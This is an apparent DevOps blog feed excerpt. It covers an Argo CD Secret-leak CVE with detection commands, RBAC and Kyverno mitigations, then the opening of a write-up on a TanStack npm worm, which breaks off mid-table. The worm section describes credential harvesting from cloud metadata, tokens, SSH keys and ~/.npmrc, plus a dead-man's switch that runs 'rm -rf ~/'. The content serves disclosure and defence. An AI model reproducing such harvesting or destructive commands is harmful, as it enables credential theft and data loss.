<li><a href="https://kubernetes.io/blog/2026/01/29/ingress-nginx-statement/">kubernetes.io/blog/2026/01/29/ingress-nginx-statement</a></li>
<li><a href="https://github.com/kubernetes-sigs/ingress2gateway">github.com/kubernetes-sigs/ingress2gateway (README and releases)</a></li>
<li><a href="https://github.com/kubernetes-sigs/ingress2gateway/releases/tag/v1.0.0">ingress2gateway 1.0.0 release notes</a></li>
<li><a href="https://github.com/kubernetes-sigs/ingress2gateway/blob/main/pkg/i2gw/providers/ingressnginx/README.md">Provider README for ingress-nginx</a></li>
<li><a href="https://kubernetes.io/blog/2025/11/06/gateway-api-v1-4/">Gateway API v1.4 release</a></li>
<li><a href="https://gateway-api.sigs.k8s.io/implementations/">Gateway API implementations matrix</a></li>
</ul>
<p>Inventory, translate, run side-by-side, validate with metrics, flip DNS, decommission. The migration is mechanical. The annotation cleanup is where the engineering judgement lives.</p>
]]></content:encoded>
    </item>
    <item>
      <title><![CDATA[Argo CD CVE-2026-42880: When Read-Only Means Read-Everything-Including-Secrets]]></title>
      <link>https://devops.anhp.site/posts/argocd-cve-2026-42880-serversidediff-secret-leak</link>
      <description><![CDATA[A critical Argo CD bug (CVSS 9.6, disclosed May 7) lets any authenticated user pull plaintext Kubernetes Secrets out of any Application that has ServerSideDiff with mutation-webhook diffs enabled. Here is the upgrade matrix, the one-liner to find at-risk apps in your cluster, and the safe RBAC scope-down for teams that cannot patch today.]]></description>
      <pubDate>Thu, 14 May 2026 09:30:00 GMT</pubDate>
      <guid isPermaLink="true">https://devops.anhp.site/posts/argocd-cve-2026-42880-serversidediff-secret-leak</guid>
      <category><![CDATA[Kubernetes]]></category>
      
      <category><![CDATA[Kubernetes]]></category><category><![CDATA[Security]]></category><category><![CDATA[Argo CD]]></category><category><![CDATA[GitOps]]></category><category><![CDATA[RBAC]]></category>
      <content:encoded><![CDATA[<p>A week ago, on May 7, 2026, the Argo CD project published <a href="https://github.com/argoproj/argo-cd/security/advisories/GHSA-3v3m-wc6v-x4x3">GHSA-3v3m-wc6v-x4x3</a>. The summary is short: any authenticated Argo CD user, including everyone on the default <code>role:readonly</code>, can pull plaintext Kubernetes Secret values out of any Application that uses ServerSideDiff with the mutation-webhook annotation. CVSS 9.6, scope-changed because the leak crosses the Argo CD trust boundary into etcd.</p>
<p>If you maintain an Argo CD instance shared by more than one team, you almost certainly have read-only users. If you maintain one Application with the <code>IncludeMutationWebhook=true</code> compare option set, that Application&#39;s rendered Secrets are visible to every one of those users. Service account tokens, TLS private keys, database credentials, the lot, sitting one API call away.</p>
<p>This post covers the patch matrix, how to find at-risk Applications in your cluster today, what to do if you cannot upgrade immediately, and why this is the second authorization-bypass of this exact shape inside twelve months.</p>
<h2 id="h2-tldr" class="group relative scroll-mt-24">
        <a href="#h2-tldr" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          TL;DR
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-tldr"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><ul>
<li><strong>CVE-2026-42880</strong>, CVSS 9.6, disclosed 2026-05-07. Affects Argo CD <strong>3.2.0 to 3.2.10</strong> and <strong>3.3.0 to 3.3.8</strong>. Fixed in <strong>v3.2.11</strong> and <strong>v3.3.9</strong>. v2.x is not affected.</li>
<li>Any authenticated user with <code>applications, get</code> (the default <code>role:readonly</code> grants this) can call ServerSideDiff and receive unmasked Kubernetes Secret values for any Application that has the annotation <code>argocd.argoproj.io/compare-options</code> containing <code>IncludeMutationWebhook=true</code>.</li>
<li>Detection is a single <code>jq</code> query against <code>kubectl get applications.argoproj.io -A -o json</code>. See below.</li>
<li>If you cannot upgrade today, the practical mitigation is removing <code>IncludeMutationWebhook=true</code> from those annotations. It is safe to remove. Diffs simply revert to filtering out fields injected by mutating webhooks, which is the default ServerSideDiff behavior anyway.</li>
<li>This is the second authorization-bypass disclosure in Argo CD in twelve months. Both leaked through endpoints that forgot to call a redaction helper. Treat <code>role:readonly</code> as &quot;read-everything-including-secrets&quot; until proven otherwise.</li>
</ul>
<h2 id="h2-prerequisites" class="group relative scroll-mt-24">
        <a href="#h2-prerequisites" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Prerequisites
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-prerequisites"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><ul>
<li>An Argo CD installation on 3.2.x or 3.3.x. Run <code>argocd version</code> (server) or <code>kubectl -n argocd get deploy argocd-server -o jsonpath=&#39;{.spec.template.spec.containers[0].image}&#39;</code> to confirm.</li>
<li><code>kubectl</code> access to the namespace your Applications live in (usually <code>argocd</code>, but the CR can live anywhere).</li>
<li><code>jq</code> for the one-liner. <code>yq</code> works too if you prefer.</li>
</ul>
<h2 id="h2-what-the-bug-actually-is" class="group relative scroll-mt-24">
        <a href="#h2-what-the-bug-actually-is" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          What the bug actually is
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-what-the-bug-actually-is"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p>ServerSideDiff is the Argo CD feature that asks the Kubernetes API server to do a Server-Side Apply dry-run and then diffs the resulting object against the desired state. It was added in 3.x because it produces more accurate diffs than the older client-side approach, especially when controllers or mutating webhooks add fields to the live object.</p>
<p>The vulnerable code path is the gRPC method <code>application.ApplicationService/ServerSideDiff</code>, exposed over REST as <code>/api/v1/applications/{appName}/resource-tree/diff</code>. The handler at <code>server/application/application.go:3051-3062</code> constructs its response from the raw <code>PredictedLive</code> and <code>NormalizedLive</code> objects returned by the dry-run, without ever calling <code>hideSecretData()</code>.</p>
<p>That helper is what every other diff and state endpoint in Argo CD calls before returning a Secret-shaped object to a client. <code>GetManifests</code>, <code>GetManifestsWithFiles</code>, <code>GetResource</code>, <code>PatchResource</code>, all of them route through it. ServerSideDiff was the one handler that missed it.</p>
<p>The vulnerability needs two conditions:</p>
<ol>
<li>The caller has <code>applications, get</code> permission. In the shipped <code>role:readonly</code> policy this is wildcard, so every authenticated user has it.</li>
<li>The target Application has the compare option <code>IncludeMutationWebhook=true</code> set on the <code>argocd.argoproj.io/compare-options</code> annotation. Without that flag, a secondary filter called <code>removeWebhookMutation()</code> runs over the response and strips fields injected by mutating webhooks, which incidentally catches the leak. The dangerous combination is <code>ServerSideDiff=true,IncludeMutationWebhook=true</code> in the same annotation value.</li>
</ol>
<p>What leaks is the rendered Kubernetes Secret as it would appear in etcd. The advisory specifically calls out service account tokens, TLS private keys, database credentials, and API keys. SealedSecrets and ExternalSecrets are not decrypted by Argo CD itself, but the bug leaks the Secret object their controllers produce, which is materially the same outcome from the attacker&#39;s perspective.</p>
<p>One nuance worth knowing: the CVSS vector is <code>AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N</code>. <code>PR:L</code> means a valid authenticated session is required. The advisory is correctly framed as &quot;every authenticated user&quot;, not &quot;every unauthenticated attacker&quot;. For most Argo CD deployments this is a distinction without a difference, since SSO is typically wired up to the whole engineering org.</p>
<h2 id="h2-find-at-risk-applications-in-your-cluster" class="group relative scroll-mt-24">
        <a href="#h2-find-at-risk-applications-in-your-cluster" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Find at-risk Applications in your cluster
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-find-at-risk-applications-in-your-cluster"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p>The fastest way to know whether you are affected is to list every Application whose compare-options annotation contains <code>IncludeMutationWebhook=true</code>:</p>
<pre><code class="hljs language-bash">kubectl get applications.argoproj.io -A -o json \
  | jq -r <span class="hljs-string">&#x27;.items[]
      | select(.metadata.annotations[&quot;argocd.argoproj.io/compare-options&quot;]
      | tostring
      | contains(&quot;IncludeMutationWebhook=true&quot;))
      | &quot;\(.metadata.namespace)/\(.metadata.name)&quot;&#x27;</span>
</code></pre><p>This returns one <code>namespace/name</code> per affected Application. Empty output means no Application in the cluster carries the dangerous annotation, but that does not mean you can skip the upgrade. The annotation can also be set globally via the <code>resource.compareoptions</code> field in the <code>argocd-cm</code> ConfigMap:</p>
<pre><code class="hljs language-bash">kubectl -n argocd get cm argocd-cm -o jsonpath=<span class="hljs-string">&#x27;{.data.resource\.compareoptions}&#x27;</span>
</code></pre><p>If that output contains <code>IncludeMutationWebhook=true</code>, every Application in the cluster inherits the dangerous setting, even Applications without their own annotation. The upgrade becomes urgent rather than important.</p>
<p>If you want to know whether the bug has actually been exploited against you, the bad news is there is no dedicated audit field. The Argo CD access log records the gRPC method and the subject from the JWT, so the best you can do is grep historical logs for non-admin subjects calling <code>ServerSideDiff</code>:</p>
<pre><code class="hljs language-bash">kubectl -n argocd logs deploy/argocd-server --<span class="hljs-built_in">tail</span>=1000000 \
  | grep ServerSideDiff \
  | grep -v <span class="hljs-string">&#x27;sub=admin&#x27;</span>
</code></pre><p>That gives a noisy but reviewable list. If your subjects are organisation emails or group claims, swap the second <code>grep</code> for the pattern that matches your admins.</p>
<h2 id="h2-the-upgrade" class="group relative scroll-mt-24">
        <a href="#h2-the-upgrade" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          The upgrade
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-the-upgrade"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p>The patch is a pure bugfix. The diff adds the existing <code>hideSecretData()</code> call to the ServerSideDiff response builder. There are no new flags, no new defaults, no behavior change for legitimate users beyond the obvious one of no longer seeing plaintext Secret values in diffs. Most teams using ServerSideDiff for legitimate reasons (catching drift introduced by mutating webhooks) get back the same masked diff they already get from every other endpoint.</p>
<p>The version mapping is straightforward:</p>
<pre><code class="hljs language-text">Argo CD 3.3.x  -&gt;  upgrade to v3.3.9
Argo CD 3.2.x  -&gt;  upgrade to v3.2.11
Argo CD 2.x    -&gt;  not affected, no action needed
</code></pre><p>If you install via the official Helm chart, the 9.5.x line tracks 3.3.x and pins appVersion <code>v3.3.9</code> from chart 9.5.11 onward. The 3.2.x line is still served by the older chart majors (8.x). Verify the appVersion mapping on <a href="https://artifacthub.io/packages/helm/argo/argo-cd">Artifact Hub</a> before pinning a chart version, since the Argo team does not always cut chart releases on the same day as the controller release.</p>
<p>Once the new image is running, the on-the-wire fix is verifiable. Authenticated as a read-only user, call the ServerSideDiff endpoint against an Application that carries <code>IncludeMutationWebhook=true</code> and confirm the response no longer contains <code>data</code> fields populated for Secret resources.</p>
<h2 id="h2-if-you-cannot-upgrade-today" class="group relative scroll-mt-24">
        <a href="#h2-if-you-cannot-upgrade-today" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          If you cannot upgrade today
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-if-you-cannot-upgrade-today"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p>Two options buy time. The first is annotation removal:</p>
<pre><code class="hljs language-bash">kubectl -n argocd annotate application &lt;name&gt; \
  argocd.argoproj.io/compare-options-
</code></pre><p>Removing the annotation is safe. It reverts to default ServerSideDiff behavior, which filters mutation-webhook-injected fields. The only consequence is that diffs no longer include those fields. If you were depending on seeing them, you were also leaking Secrets to read-only users, so this is the correct fix regardless. To remove the global setting from <code>argocd-cm</code>, edit the ConfigMap and drop <code>IncludeMutationWebhook=true</code> from the <code>resource.compareoptions</code> value.</p>
<p>The second option is RBAC scope-down. The Argo CD <code>argocd-rbac-cm</code> ConfigMap controls who can call which endpoint. The minimum effective change is to stop defaulting users to <code>role:readonly</code>. Edit the <code>policy.default</code> line:</p>
<pre><code class="hljs language-yaml"><span class="hljs-comment"># argocd-rbac-cm</span>
<span class="hljs-attr">policy.default:</span> <span class="hljs-string">&quot;&quot;</span>          <span class="hljs-comment"># was: role:readonly</span>
<span class="hljs-attr">policy.csv:</span> <span class="hljs-string">|
  # Existing admin role still gets everything
  g, your-admin-group, role:admin
</span>
  <span class="hljs-comment"># New explicit team scope, no wildcard get on applications</span>
  <span class="hljs-string">p,</span> <span class="hljs-string">role:dev-readonly,</span> <span class="hljs-string">applications,</span> <span class="hljs-string">list,</span> <span class="hljs-string">*/*,</span> <span class="hljs-string">allow</span>
  <span class="hljs-string">p,</span> <span class="hljs-string">role:dev-readonly,</span> <span class="hljs-string">repositories,</span> <span class="hljs-string">get,</span> <span class="hljs-string">*,</span> <span class="hljs-string">allow</span>
  <span class="hljs-string">p,</span> <span class="hljs-string">role:dev-readonly,</span> <span class="hljs-string">projects,</span> <span class="hljs-string">get,</span> <span class="hljs-string">*,</span> <span class="hljs-string">allow</span>
  <span class="hljs-string">g,</span> <span class="hljs-string">your-dev-group,</span> <span class="hljs-string">role:dev-readonly</span>
</code></pre><p>This is more disruptive than annotation removal because it changes what the UI shows to unprivileged users. List works, individual application detail does not, which is what stops the ServerSideDiff endpoint cold. Best to combine annotation removal with the RBAC change rather than rely on either alone.</p>
<p>A Kyverno policy can also block new at-risk Applications at admission time:</p>
<pre><code class="hljs language-yaml"><span class="hljs-attr">apiVersion:</span> <span class="hljs-string">kyverno.io/v1</span>
<span class="hljs-attr">kind:</span> <span class="hljs-string">ClusterPolicy</span>
<span class="hljs-attr">metadata:</span>
  <span class="hljs-attr">name:</span> <span class="hljs-string">block-include-mutation-webhook</span>
<span class="hljs-attr">spec:</span>
  <span class="hljs-attr">validationFailureAction:</span> <span class="hljs-string">enforce</span>
  <span class="hljs-attr">rules:</span>
    <span class="hljs-bullet">-</span> <span class="hljs-attr">name:</span> <span class="hljs-string">deny-include-mutation-webhook</span>
      <span class="hljs-attr">match:</span>
        <span class="hljs-attr">any:</span>
          <span class="hljs-bullet">-</span> <span class="hljs-attr">resources:</span>
              <span class="hljs-attr">kinds:</span> [<span class="hljs-string">&quot;argoproj.io/v1alpha1/Application&quot;</span>]
      <span class="hljs-attr">validate:</span>
        <span class="hljs-attr">message:</span> <span class="hljs-string">&quot;IncludeMutationWebhook=true leaks Kubernetes Secrets to read-only users (CVE-2026-42880). Remove it or upgrade Argo CD to 3.2.11 / 3.3.9 first.&quot;</span>
        <span class="hljs-attr">pattern:</span>
          <span class="hljs-attr">metadata:</span>
            <span class="hljs-string">=(annotations):</span>
              <span class="hljs-string">=(argocd.argoproj.io/compare-options):</span> <span class="hljs-string">&quot;!*IncludeMutationWebhook=true*&quot;</span>
</code></pre><p>The same shape works as a Gatekeeper constraint if you are on OPA. Both are admission-time defences, so they prevent new bad Applications but do not retroactively fix existing ones. Pair with the <code>jq</code> query above to clean up what is already in the cluster.</p>
<h2 id="h2-the-pattern-redaction-by-handler-is-fragile" class="group relative scroll-mt-24">
        <a href="#h2-the-pattern-redaction-by-handler-is-fragile" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          The pattern: redaction-by-handler is fragile
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-the-pattern-redaction-by-handler-is-fragile"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p>CVE-2026-42880 is the second authorization-bypass of this exact shape in Argo CD inside twelve months. The previous one was <a href="https://github.com/argoproj/argo-cd/security/advisories/GHSA-786q-9hcg-v9ff">CVE-2025-55190</a> on September 4, 2025, CVSS 9.9. That bug lived in <code>server/project/project.go</code> and leaked repository credentials through the <code>GetDetailedProject</code> endpoint. Same default RBAC (any authenticated user with <code>projects, get</code>), same missing redaction call.</p>
<p>Both bugs share a structural property worth flagging. Argo CD&#39;s redaction is per-handler, not middleware. Every endpoint that returns an object is responsible for calling <code>hideSecretData()</code> or its equivalent before serialising. Adding a new endpoint without that call ships a CVE. Adding a new field that holds a secret to an existing response ships a CVE.</p>
<p>For operators, the practical lesson is to stop treating <code>role:readonly</code> as if read-only is meaningful in a security sense. It grants <code>get</code> against everything, and &quot;get returns Secret values&quot; turns out to be true twice in a row. The realistic default for shared Argo CD instances is:</p>
<ul>
<li><code>policy.default: &quot;&quot;</code> (no implicit role)</li>
<li>Explicit per-team roles with only the verbs and resources the team needs</li>
<li>An explicit admin role for the platform team</li>
<li>Kyverno or Gatekeeper guards on the annotations and ConfigMap fields known to be dangerous</li>
</ul>
<p>Treat the next &quot;low-severity read-only information disclosure&quot; advisory from the project the same way you would treat a privilege-escalation one, because the read-only/privilege-escalation distinction has so far been a coin flip.</p>
<h2 id="h2-sources" class="group relative scroll-mt-24">
        <a href="#h2-sources" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Sources
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-sources"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><ul>
<li>GHSA: <a href="https://github.com/argoproj/argo-cd/security/advisories/GHSA-3v3m-wc6v-x4x3">github.com/argoproj/argo-cd/security/advisories/GHSA-3v3m-wc6v-x4x3</a></li>
<li>NVD: <a href="https://nvd.nist.gov/vuln/detail/CVE-2026-42880">nvd.nist.gov/vuln/detail/CVE-2026-42880</a></li>
<li>Argo CD v3.3.9: <a href="https://github.com/argoproj/argo-cd/releases/tag/v3.3.9">github.com/argoproj/argo-cd/releases/tag/v3.3.9</a></li>
<li>Argo CD v3.2.11: <a href="https://github.com/argoproj/argo-cd/releases/tag/v3.2.11">github.com/argoproj/argo-cd/releases/tag/v3.2.11</a></li>
<li>Diff strategies docs (annotation syntax): <a href="https://argo-cd.readthedocs.io/en/stable/user-guide/diff-strategies/">argo-cd.readthedocs.io/en/stable/user-guide/diff-strategies</a></li>
<li>Built-in RBAC policy source: <a href="https://github.com/argoproj/argo-cd/blob/master/assets/builtin-policy.csv">github.com/argoproj/argo-cd/blob/master/assets/builtin-policy.csv</a></li>
<li>Prior pattern, CVE-2025-55190: <a href="https://github.com/argoproj/argo-cd/security/advisories/GHSA-786q-9hcg-v9ff">github.com/argoproj/argo-cd/security/advisories/GHSA-786q-9hcg-v9ff</a></li>
</ul>
<p>Patch, then audit your RBAC. The annotation is the smoking gun. The RBAC default is the loaded weapon.</p>
]]></content:encoded>
    </item>
    <item>
      <title><![CDATA[TanStack npm Worm: The Supply-Chain Attack With a Dead-Man's Switch]]></title>
      <link>https://devops.anhp.site/posts/tanstack-npm-worm-dead-mans-switch</link>
      <description><![CDATA[On May 11, 2026, attackers republished 14+ official TanStack packages on npm with a worm that signs itself with valid SLSA provenance and arms a dead-man's switch that wipes your home directory the moment you revoke the stolen GitHub token. Here is what happened, how the payload works, and how to check your machine.]]></description>
      <pubDate>Tue, 12 May 2026 09:00:00 GMT</pubDate>
      <guid isPermaLink="true">https://devops.anhp.site/posts/tanstack-npm-worm-dead-mans-switch</guid>
      <category><![CDATA[DevOps]]></category>
      
      <category><![CDATA[DevOps]]></category><category><![CDATA[Security]]></category><category><![CDATA[Supply Chain]]></category><category><![CDATA[npm]]></category><category><![CDATA[CICD]]></category><category><![CDATA[GitHub Actions]]></category>
      <content:encoded><![CDATA[<p><strong>Update (May 12, 2026):</strong> Socket is now tracking the same worm crossing into PyPI. Newly confirmed compromised: <code>@opensearch-project/opensearch</code> 3.5.3, 3.6.2, 3.7.0, 3.8.0 (1.3M weekly downloads), <code>mistralai</code> 2.4.6, and <code>guardrails-ai</code> 0.10.1. The cross-ecosystem jump is the same harvested credentials being reused on a different registry, not a new worm. If you ran any of the bad npm versions, treat PyPI tokens (<code>~/.pypirc</code>, <code>~/.config/pip/</code>) as compromised too.</p>
<p>On May 11, 2026, at around 19:20 UTC, two new versions of <code>@tanstack/react-router</code> appeared on npm. They were signed with valid SLSA provenance, published through the project&#39;s existing GitHub Actions OIDC trusted-publisher binding, and showed up as <code>latest</code> within minutes. By the end of the day, 14+ official TanStack packages were on the list, the worm had already propagated to 200+ downstream packages, and one detail in the payload was making people delete their npm caches with shaky hands: if you revoke the stolen GitHub token, a background process polling api.github.com sees the 401 and runs <code>rm -rf ~/</code>.</p>
<p>This post walks through what the attack did, why your normal incident-response reflex (revoke the leaked token) is the exact thing it wants you to do, and the commands to run right now to confirm you are not infected.</p>
<h2 id="h2-tldr" class="group relative scroll-mt-24">
        <a href="#h2-tldr" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          TL;DR
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-tldr"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><ul>
<li>TanStack&#39;s npm publish workflow was compromised. The attacker published valid, SLSA-signed versions of <code>@tanstack/react-router</code>, <code>@tanstack/react-start</code>, <code>@tanstack/router-core</code>, <code>@tanstack/history</code>, and ~10 more official packages.</li>
<li>The packages install fine and behave normally. They smuggle a 2.3 MB obfuscated <code>router_init.js</code> into each tarball and trigger it through a malicious <code>optionalDependencies</code> entry that points at an orphan commit in a forked GitHub repo.</li>
<li>On install, the payload harvests AWS IMDS credentials, GCP metadata, Kubernetes service-account tokens, Vault tokens, GitHub tokens, SSH keys, and <code>~/.npmrc</code>, then exfiltrates over Session/Oxen (a fully end-to-end encrypted messenger network with no centralized C2 to block).</li>
<li>It also drops a dead-man&#39;s switch: a shell script registered as a <code>systemd --user</code> service on Linux or a LaunchAgent on macOS that polls <code>api.github.com/user</code> every 60 seconds with the stolen token. The moment that token starts returning HTTP 40x (because you revoked it), the script runs <code>rm -rf ~/</code> and exits. There is a 24-hour TTL after which it gives up on its own.</li>
<li>The worm also enumerates other packages each compromised maintainer owns (via <code>registry.npmjs.org/-/v1/search?text=maintainer:</code>) and republishes them with the same injection, which is how 200+ unrelated packages picked up the payload before takedown.</li>
<li>If you ran <code>npm install</code> against affected versions, follow the detection commands below before revoking anything.</li>
</ul>
<h2 id="h2-prerequisites" class="group relative scroll-mt-24">
        <a href="#h2-prerequisites" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Prerequisites
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-prerequisites"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><ul>
<li>Familiarity with how npm runs lifecycle scripts on install</li>
<li>Basic shell access to whichever machine ran <code>npm install</code> recently</li>
<li>A GitHub Personal Access Token or fine-grained token if you want to assess your token blast radius</li>
</ul>
<h2 id="h2-what-got-compromised" class="group relative scroll-mt-24">
        <a href="#h2-what-got-compromised" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          What got compromised
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-what-got-compromised"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p>Per the GitHub issue thread and the post-mortem at <a href="https://tanstack.com/blog/npm-supply-chain-compromise-postmortem">tanstack.com/blog/npm-supply-chain-compromise-postmortem</a>, the confirmed-bad versions are:</p>
<table>
<thead>
<tr>
<th>Package</th>
<th>First bad version</th>
<th>Second bad version (was <code>latest</code>)</th>
</tr>
</thead>
<tbody><tr>
<td><code>@tanstack/history</code></td>
<td>1.161.9</td>
<td>1.161.12</td>
</tr>
<tr>
